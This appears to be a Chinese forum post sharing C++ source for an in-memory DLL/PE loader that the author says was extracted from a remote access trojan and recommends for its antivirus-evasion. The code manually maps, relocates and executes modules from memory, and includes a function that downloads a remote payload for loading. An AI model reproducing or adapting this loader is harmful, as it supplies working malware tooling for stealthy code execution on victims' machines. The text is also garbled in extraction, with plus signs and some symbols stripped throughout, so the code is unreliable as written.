如题,在某RAT上面拆下来的加载dll的功能,感谢免杀效果还不错,分享一下
memory.
代码语言:javascript复制#include <windows.h>
typedef void* HCUSTOMMODULE;
typedef HCUSTOMMODULE(*MemLoadLibraryFn)(LPCSTR, void*);
typedef FARPROC(*MemGetProcAddressFn)(HANDLE, LPCSTR, void*);
typedef void(*MemFreeLibraryFn)(HANDLE, void*);
typedef BOOL(WINAPI* DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
typedef int (WINAPI* ExeEntryProc)(void);
typedef struct {
PIMAGE_NT_HEADERS headers;
unsigned char* codeBase;
HCUSTOMMODULE* modules;
int numModules;
BOOL initialized;
BOOL isDLL;
BOOL isRelocated;
MemLoadLibraryFn loadLibrary;
MemGetProcAddressFn getProcAddress;
MemFreeLibraryFn freeLibrary;
void* userdata;
ExeEntryProc exeEntry;
DWORD pageSize;
} MEMORYMODULE, * PMEMORYMODULE;
typedef struct {
LPVOID address;
LPVOID alignedAddress;
DWORD size;
DWORD characteristics;
BOOL last;
} SECTIONFINALIZEDATA, * PSECTIONFINALIZEDATA;
class CWin32PE
{
protected:
int CheckSize(size_t size, size_t expected);
DWORD GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section);
int CopySections(const unsigned char* data, size_t size, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module);
int FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData);
int FinalizeSections(PMEMORYMODULE module);
int ExecuteTLS(PMEMORYMODULE module);
int PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta);
int BuildImportTable(PMEMORYMODULE module);
};
class CLoad : protected CWin32PE
{
private:
HANDLE MemLoadLibraryEx(const void* data, size_t size, MemLoadLibraryFn loadLibrary,
MemGetProcAddressFn getProcAddress, MemFreeLibraryFn freeLibrary, void* userdata);
public:
HANDLE LoadFromMemory(const void*, size_t);
HANDLE LoadFromResources(int IDD_RESOUCE);
HANDLE LoadFromFile(LPCSTR filename);
HANDLE DownloadURLToBuffer(LPCSTR filename);
FARPROC GetProcAddressFromMemory(HANDLE hModule, LPCSTR ProcName);
int CallEntryPointFromMemory(HANDLE hModule);
void FreeLibraryFromMemory(HANDLE hModule);
};
memory.cpp
代码语言:javascript复制#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <winnt.h>
#include <stddef.h>
#include <stdint.h>
#include <tchar.h>
#include <iostream>
#include <fstream>
#ifdef DEBUG_OUTPUT
#include <stdio.h>
#endif
#if _MSC_VER
// Disable warning about data -> function pointer conversion
#pragma warning(disable:4055)
#endif
#define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION))
#include "MemLoadLibrary.h"
#define GET_HEADER_DICTIONARY(module, idx) &(module)->headers->OptionalHeader.DataDirectory[idx]
#define ALIGN_DOWN(address, alignment) (LPVOID)((uintptr_t)(address) & ~((alignment) - 1))
#define ALIGN_VALUE_UP(value, alignment) (((value) (alignment) - 1) & ~((alignment) - 1))
BOOL
CWin32PE::CheckSize(size_t size, size_t expected) {
if (size < expected) {
SetLastError(ERROR_INVALID_DATA);
return FALSE;
}
return TRUE;
}
BOOL CWin32PE::CopySections(const unsigned char* data, size_t size, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module)
{
int i, section_size;
unsigned char* codeBase = module->codeBase;
unsigned char* dest;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
for (i = 0; i < module->headers->FileHeader.NumberOfSections; i , section ) {
if (section->SizeOfRawData == 0) {
// section doesn't contain data in the dll itself, but may define
// uninitialized data
section_size = old_headers->OptionalHeader.SectionAlignment;
if (section_size > 0) {
dest = (unsigned char*)VirtualAlloc(codeBase section->VirtualAddress,
section_size,
MEM_COMMIT,
PAGE_READWRITE);
if (dest == NULL) {
return FALSE;
}
// Always use position from file to support alignments smaller
// than page size.
dest = codeBase section->VirtualAddress;
section->Misc.PhysicalAddress = (DWORD)(uintptr_t)dest;
memset(dest, 0, section_size);
}
// section is empty
continue;
}
if (!CheckSize(size, section->PointerToRawData section->SizeOfRawData)) {
return FALSE;
}
// commit memory block and copy data from dll
dest = (unsigned char*)VirtualAlloc(codeBase section->VirtualAddress,
section->SizeOfRawData,
MEM_COMMIT,
PAGE_READWRITE);
if (dest == NULL) {
return FALSE;
}
// Always use position from file to support alignments smaller
// than page size.
dest = codeBase section->VirtualAddress;
memcpy(dest, data section->PointerToRawData, section->SizeOfRawData);
section->Misc.PhysicalAddress = (DWORD)(uintptr_t)dest;
}
return TRUE;
}
// Protection flags for memory pages (Executable, Readable, Writeable)
static int ProtectionFlags[2][2][2] = {
{
// not executable
{ PAGE_NOACCESS, PAGE_WRITECOPY },
{ PAGE_READONLY, PAGE_READWRITE },
}, {
// executable
{ PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY },
{ PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE },
},
};
DWORD
CWin32PE::GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section) {
DWORD size = section->SizeOfRawData;
if (size == 0) {
if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) {
size = module->headers->OptionalHeader.SizeOfInitializedData;
}
else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) {
size = module->headers->OptionalHeader.SizeOfUninitializedData;
}
}
return size;
}
BOOL
CWin32PE::FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData) {
DWORD protect, oldProtect;
BOOL executable;
BOOL readable;
BOOL writeable;
if (sectionData->size == 0) {
return TRUE;
}
if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE) {
// section is not needed any more and can safely be freed
if (sectionData->address == sectionData->alignedAddress &&
(sectionData->last ||
module->headers->OptionalHeader.SectionAlignment == module->pageSize ||
(sectionData->size % module->pageSize) == 0)
) {
// Only allowed to decommit whole pages
VirtualFree(sectionData->address, sectionData->size, MEM_DECOMMIT);
}
return TRUE;
}
// determine protection flags based on characteristics
executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
readable = (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0;
writeable = (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0;
protect = ProtectionFlags[executable][readable][writeable];
if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
protect |= PAGE_NOCACHE;
}
// change memory access flags
if (VirtualProtect(sectionData->address, sectionData->size, protect, &oldProtect) == 0) {
#ifdef DEBUG_OUTPUT
OutputLastError("Error protecting memory page")
#endif
return FALSE;
}
return TRUE;
}
BOOL
CWin32PE::FinalizeSections(PMEMORYMODULE module)
{
int i;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
#ifdef _WIN64
uintptr_t imageOffset = (module->headers->OptionalHeader.ImageBase & 0xffffffff00000000);
#else
#define imageOffset 0
#endif
SECTIONFINALIZEDATA sectionData;
sectionData.address = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
sectionData.alignedAddress = ALIGN_DOWN(sectionData.address, module->pageSize);
sectionData.size = GetRealSectionSize(module, section);
sectionData.characteristics = section->Characteristics;
sectionData.last = FALSE;
section ;
// loop through all sections and change access flags
for (i = 1; i < module->headers->FileHeader.NumberOfSections; i , section ) {
LPVOID sectionAddress = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
LPVOID alignedAddress = ALIGN_DOWN(sectionAddress, module->pageSize);
DWORD sectionSize = GetRealSectionSize(module, section);
// Combine access flags of all sections that share a page
// TODO(fancycode): We currently share flags of a trailing large section
// with the page of a first small section. This should be optimized.
if (sectionData.alignedAddress == alignedAddress || (uintptr_t)sectionData.address sectionData.size > (uintptr_t) alignedAddress) {
// Section shares page with previous
if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) {
sectionData.characteristics = (sectionData.characteristics | section->Characteristics) & ~IMAGE_SCN_MEM_DISCARDABLE;
}
else {
sectionData.characteristics |= section->Characteristics;
}
sectionData.size = (((uintptr_t)sectionAddress) sectionSize) - (uintptr_t)sectionData.address;
continue;
}
if (!FinalizeSection(module, §ionData)) {
return FALSE;
}
sectionData.address = sectionAddress;
sectionData.alignedAddress = alignedAddress;
sectionData.size = sectionSize;
sectionData.characteristics = section->Characteristics;
}
sectionData.last = TRUE;
if (!FinalizeSection(module, §ionData)) {
return FALSE;
}
#ifndef _WIN64
#undef imageOffset
#endif
return TRUE;
}
BOOL
CWin32PE::ExecuteTLS(PMEMORYMODULE module)
{
unsigned char* codeBase = module->codeBase;
PIMAGE_TLS_DIRECTORY tls;
PIMAGE_TLS_CALLBACK* callback;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_TLS);
if (directory->VirtualAddress == 0) {
return TRUE;
}
tls = (PIMAGE_TLS_DIRECTORY)(codeBase directory->VirtualAddress);
callback = (PIMAGE_TLS_CALLBACK*)tls->AddressOfCallBacks;
if (callback) {
while (*callback) {
(*callback)((LPVOID)codeBase, DLL_PROCESS_ATTACH, NULL);
callback ;
}
}
return TRUE;
}
BOOL
CWin32PE::PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta)
{
unsigned char* codeBase = module->codeBase;
PIMAGE_BASE_RELOCATION relocation;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC);
if (directory->Size == 0) {
return (delta == 0);
}
relocation = (PIMAGE_BASE_RELOCATION)(codeBase directory->VirtualAddress);
for (; relocation->VirtualAddress > 0;) {
DWORD i;
unsigned char* dest = codeBase relocation->VirtualAddress;
unsigned short* relInfo = (unsigned short*)((unsigned char*)relocation IMAGE_SIZEOF_BASE_RELOCATION);
for (i = 0; i < ((relocation->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2); i , relInfo ) {
DWORD* patchAddrHL;
#ifdef _WIN64
ULONGLONG* patchAddr64;
#endif
int type, offset;
// the upper 4 bits define the type of relocation
type = *relInfo >> 12;
// the lower 12 bits define the offset
offset = *relInfo & 0xfff;
switch (type)
{
case IMAGE_REL_BASED_ABSOLUTE:
// skip relocation
break;
case IMAGE_REL_BASED_HIGHLOW:
// change complete 32 bit address
patchAddrHL = (DWORD*)(dest offset);
*patchAddrHL = (DWORD)delta;
break;
#ifdef _WIN64
case IMAGE_REL_BASED_DIR64:
patchAddr64 = (ULONGLONG*)(dest offset);
*patchAddr64 = (ULONGLONG)delta;
break;
#endif
default:
//printf("Unknown relocation: %dn", type);
break;
}
}
// advance to next relocation block
relocation = (PIMAGE_BASE_RELOCATION)(((char*)relocation) relocation->SizeOfBlock);
}
return TRUE;
}
BOOL
CWin32PE::BuildImportTable(PMEMORYMODULE module)
{
unsigned char* codeBase = module->codeBase;
PIMAGE_IMPORT_DESCRIPTOR importDesc;
BOOL result = TRUE;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT);
if (directory->Size == 0) {
return TRUE;
}
importDesc = (PIMAGE_IMPORT_DESCRIPTOR)(codeBase directory->VirtualAddress);
for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc ) {
uintptr_t* thunkRef;
FARPROC* funcRef;
HCUSTOMMODULE* tmp;
HCUSTOMMODULE handle = module->loadLibrary((LPCSTR)(codeBase importDesc->Name), module->userdata);
if (handle == NULL) {
SetLastError(ERROR_MOD_NOT_FOUND);
result = FALSE;
break;
}
tmp = (HCUSTOMMODULE*)realloc(module->modules, (module->numModules 1) * (sizeof(HCUSTOMMODULE)));
if (tmp == NULL) {
module->freeLibrary(handle, module->userdata);
SetLastError(ERROR_OUTOFMEMORY);
result = FALSE;
break;
}
module->modules = tmp;
module->modules[module->numModules ] = handle;
if (importDesc->OriginalFirstThunk) {
thunkRef = (uintptr_t*)(codeBase importDesc->OriginalFirstThunk);
funcRef = (FARPROC*)(codeBase importDesc->FirstThunk);
}
else {
// no hint table
thunkRef = (uintptr_t*)(codeBase importDesc->FirstThunk);
funcRef = (FARPROC*)(codeBase importDesc->FirstThunk);
}
for (; *thunkRef; thunkRef , funcRef ) {
if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) {
*funcRef = module->getProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef), module->userdata);
}
else {
PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME)(codeBase (*thunkRef));
*funcRef = module->getProcAddress(handle, (LPCSTR)&thunkData->Name, module->userdata);
}
if (*funcRef == 0) {
result = FALSE;
break;
}
}
if (!result) {
module->freeLibrary(handle, module->userdata);
SetLastError(ERROR_PROC_NOT_FOUND);
break;
}
}
return result;
}
HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR filename, void* userdata)
{
HMODULE result;
UNREFERENCED_PARAMETER(userdata);
result = LoadLibraryA(filename);
if (result == NULL) {
return NULL;
}
return (HCUSTOMMODULE)result;
}
FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE module, LPCSTR name, void* userdata)
{
UNREFERENCED_PARAMETER(userdata);
return (FARPROC)GetProcAddress((HMODULE)module, name);
}
void MemoryDefaultFreeLibrary(HCUSTOMMODULE module, void* userdata)
{
UNREFERENCED_PARAMETER(userdata);
FreeLibrary((HMODULE)module);
}
HANDLE CLoad::MemLoadLibraryEx(const void* data, size_t size,
MemLoadLibraryFn loadLibrary,
MemGetProcAddressFn getProcAddress,
MemFreeLibraryFn freeLibrary,
void* userdata)
{
PMEMORYMODULE result = NULL;
PIMAGE_DOS_HEADER dos_header;
PIMAGE_NT_HEADERS old_header;
unsigned char* code, * headers;
ptrdiff_t locationDelta;
SYSTEM_INFO sysInfo;
PIMAGE_SECTION_HEADER section;
DWORD i;
size_t optionalSectionSize;
size_t lastSectionEnd = 0;
size_t alignedImageSize;
if (!CheckSize(size, sizeof(IMAGE_DOS_HEADER))) {
return NULL;
}
dos_header = (PIMAGE_DOS_HEADER)data;
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) {
SetLastError(ERROR_BAD_EXE_FORMAT);
return NULL;
}
if (!CheckSize(size, dos_header->e_lfanew sizeof(IMAGE_NT_HEADERS))) {
return NULL;
}
old_header = (PIMAGE_NT_HEADERS) & ((const unsigned char*)(data))[dos_header->e_lfanew];
if (old_header->Signature != IMAGE_NT_SIGNATURE) {
SetLastError(ERROR_BAD_EXE_FORMAT);
return NULL;
}
#ifdef _WIN64
if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
#else
if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_I386) {
#endif
SetLastError(ERROR_BAD_EXE_FORMAT);
return NULL;
}
if (old_header->OptionalHeader.SectionAlignment & 1) {
// Only support section alignments that are a multiple of 2
SetLastError(ERROR_BAD_EXE_FORMAT);
return NULL;
}
section = IMAGE_FIRST_SECTION(old_header);
optionalSectionSize = old_header->OptionalHeader.SectionAlignment;
for (i = 0; i < old_header->FileHeader.NumberOfSections; i , section ) {
size_t endOfSection;
if (section->SizeOfRawData == 0) {
// Section without data in the DLL
endOfSection = section->VirtualAddress optionalSectionSize;
}
else {
endOfSection = section->VirtualAddress section->SizeOfRawData;
}
if (endOfSection > lastSectionEnd) {
lastSectionEnd = endOfSection;
}
}
GetNativeSystemInfo(&sysInfo);
alignedImageSize = ALIGN_VALUE_UP(old_header->OptionalHeader.SizeOfImage, sysInfo.dwPageSize);
if (alignedImageSize != ALIGN_VALUE_UP(lastSectionEnd, sysInfo.dwPageSize)) {
SetLastError(ERROR_BAD_EXE_FORMAT);
return NULL;
}
// reserve memory for image of library
// XXX: is it correct to commit the complete memory region at once?
// calling DllEntry raises an exception if we don't...
code = (unsigned char*)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase),
alignedImageSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
if (code == NULL) {
// try to allocate memory at arbitrary position
code = (unsigned char*)VirtualAlloc(NULL,
alignedImageSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
if (code == NULL) {
SetLastError(ERROR_OUTOFMEMORY);
return NULL;
}
}
result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(MEMORYMODULE));
if (result == NULL) {
VirtualFree(code, 0, MEM_RELEASE);
SetLastError(ERROR_OUTOFMEMORY);
return NULL;
}
result->codeBase = code;
result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0;
result->loadLibrary = loadLibrary;
result->getProcAddress = getProcAddress;
result->freeLibrary = freeLibrary;
result->userdata = userdata;
result->pageSize = sysInfo.dwPageSize;
if (!CheckSize(size, old_header->OptionalHeader.SizeOfHeaders)) {
goto error;
}
// commit memory for headers
headers = (unsigned char*)VirtualAlloc(code,
old_header->OptionalHeader.SizeOfHeaders,
MEM_COMMIT,
PAGE_READWRITE);
// copy PE header to code
memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders);
result->headers = (PIMAGE_NT_HEADERS) & ((const unsigned char*)(headers))[dos_header->e_lfanew];
// update position
result->headers->OptionalHeader.ImageBase = (uintptr_t)code;
// copy sections from DLL file block to new memory location
if (!CopySections((const unsigned char*)data, size, old_header, result)) {
goto error;
}
// adjust base address of imported data
locationDelta = (ptrdiff_t)(result->headers->OptionalHeader.ImageBase - old_header->OptionalHeader.ImageBase);
if (locationDelta != 0) {
result->isRelocated = PerformBaseRelocation(result, locationDelta);
}
else {
result->isRelocated = TRUE;
}
// load required dlls and adjust function table of imports
if (!BuildImportTable(result)) {
goto error;
}
// mark memory pages depending on section headers and release
// sections that are marked as "discardable"
if (!FinalizeSections(result)) {
goto error;
}
// TLS callbacks are executed BEFORE the main loading
if (!ExecuteTLS(result)) {
goto error;
}
// get entry point of loaded library
if (result->headers->OptionalHeader.AddressOfEntryPoint != 0) {
if (result->isDLL) {
DllEntryProc DllEntry = (DllEntryProc)(LPVOID)(code result->headers->OptionalHeader.AddressOfEntryPoint);
// notify library about attaching to process
BOOL successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0);
if (!successfull) {
SetLastError(ERROR_DLL_INIT_FAILED);
goto error;
}
result->initialized = TRUE;
}
else {
result->exeEntry = (ExeEntryProc)(LPVOID)(code result->headers->OptionalHeader.AddressOfEntryPoint);
}
}
else {
result->exeEntry = NULL;
}
return (HANDLE)result;
error:
// cleanup
FreeLibraryFromMemory(result);
return NULL;
}
HANDLE CLoad::LoadFromMemory(const void* data, size_t size)
{
return MemLoadLibraryEx(data, size, MemoryDefaultLoadLibrary, MemoryDefaultGetProcAddress, MemoryDefaultFreeLibrary, NULL);
}
FARPROC CLoad::GetProcAddressFromMemory(HANDLE module, LPCSTR name)
{
unsigned char* codeBase = ((PMEMORYMODULE)module)->codeBase;
DWORD idx = 0;
PIMAGE_EXPORT_DIRECTORY exports;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT);
if (directory->Size == 0) {
// no export table found
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
exports = (PIMAGE_EXPORT_DIRECTORY)(codeBase directory->VirtualAddress);
if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0) {
// DLL doesn't export anything
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
if (HIWORD(name) == 0) {
// load function by ordinal value
if (LOWORD(name) < exports->Base) {
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
idx = LOWORD(name) - exports->Base;
}
else {
// search function name in list of exported names
DWORD i;
DWORD* nameRef = (DWORD*)(codeBase exports->AddressOfNames);
WORD* ordinal = (WORD*)(codeBase exports->AddressOfNameOrdinals);
BOOL found = FALSE;
for (i = 0; i < exports->NumberOfNames; i , nameRef , ordinal ) {
if (_stricmp(name, (const char*)(codeBase (*nameRef))) == 0) {
idx = *ordinal;
found = TRUE;
break;
}
}
if (!found) {
// exported symbol not found
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
}
if (idx > exports->NumberOfFunctions) {
// name <-> ordinal number don't match
SetLastError(ERROR_PROC_NOT_FOUND);
return NULL;
}
// AddressOfFunctions contains the RVAs to the "real" functions
return (FARPROC)(LPVOID)(codeBase (*(DWORD*)(codeBase exports->AddressOfFunctions (idx * 4))));
}
void CLoad::FreeLibraryFromMemory(HANDLE mod)
{
PMEMORYMODULE module = (PMEMORYMODULE)mod;
if (module == NULL) {
return;
}
if (module->initialized) {
// notify library about detaching from process
DllEntryProc DllEntry = (DllEntryProc)(LPVOID)(module->codeBase module->headers->OptionalHeader.AddressOfEntryPoint);
(*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0);
}
if (module->modules != NULL) {
// free previously opened libraries
int i;
for (i = 0; i < module->numModules; i ) {
if (module->modules[i] != NULL) {
module->freeLibrary(module->modules[i], module->userdata);
}
}
free(module->modules);
}
if (module->codeBase != NULL) {
// release memory of library
VirtualFree(module->codeBase, 0, MEM_RELEASE);
}
HeapFree(GetProcessHeap(), 0, module);
}
int CLoad::CallEntryPointFromMemory(HANDLE mod)
{
PMEMORYMODULE module = (PMEMORYMODULE)mod;
if (module == NULL || module->isDLL || module->exeEntry == NULL || !module->isRelocated) {
return -1;
}
return module->exeEntry();
}
HANDLE CLoad::LoadFromFile(LPCSTR filename)
{
HANDLE Module;
std::streampos size;
char* memblock;
std::fstream file(filename, std::ios::in | std::ios::binary | std::ios::ate);
if (file.is_open())
{
size = file.tellg();
memblock = new char[size];
file.seekg(0, std::ios::beg);
file.read(memblock, size);
file.close();
Module = LoadFromMemory(memblock, size);
delete[] memblock;
return Module;
}
else {
return 0;
}
}
HANDLE CLoad::DownloadURLToBuffer(LPCSTR lpszURL)
{
HANDLE Module;
std::streampos size;
LPSTR lpResult = NULL;
LPSTREAM lpStream;
if (lpszURL && SUCCEEDED(URLOpenBlockingStreamA(NULL, lpszURL, &lpStream, 0, NULL))) {
STATSTG statStream;
if (SUCCEEDED(lpStream->Stat(&statStream, STATFLAG_NONAME))) {
DWORD dwSize = statStream.cbSize.LowPart 1;
lpResult = (LPSTR)malloc(dwSize);
if (lpResult) {
LARGE_INTEGER liPos;
ZeroMemory(&liPos, sizeof(liPos));
ZeroMemory(lpResult, dwSize);
lpStream->Seek(liPos, STREAM_SEEK_SET, NULL);
lpStream->Read(lpResult, dwSize - 1, NULL);
}
}
lpStream->Release();
}
Module = LoadFromFile(lpResult);
return Module;
}
HANDLE CLoad::LoadFromResources(int IDD_RESOUCE)
{
HGLOBAL hResData;
HRSRC hResInfo;
void* pvRes;
DWORD dwSize;
void* lpMemory;
HMODULE hModule = GetModuleHandle(NULL);
if (((hResInfo = FindResource(hModule, MAKEINTRESOURCE(IDD_RESOUCE), L"DLL")) != NULL) && ((hResData = LoadResource(hModule, hResInfo)) != NULL) && ((pvRes = LockResource(hResData)) != NULL))
{
dwSize = SizeofResource(hModule, hResInfo);
lpMemory = (char*)malloc(dwSize);
memset(lpMemory, 0, dwSize);
memcpy(lpMemory, pvRes, dwSize);
return lpMemory;
}
}
模块调用:
代码语言:javascript复制#include "MemLoadLibrary.h"
#include <Windows.h>
int main()
{
CLoad lib;
HANDLE hLibrary = 0;
std::string dir = "dll.dll";
hLibrary = lib.LoadFromFile(dir.c_str()); // loaded the dll from byte array.
func fn = (func)lib.GetProcAddressFromMemory(hLibrary,"导出名" );
fn("");
lib.FreeLibraryFromMemory(hLibrary);
std::cout << 'n' << "Press a key to continue...";
}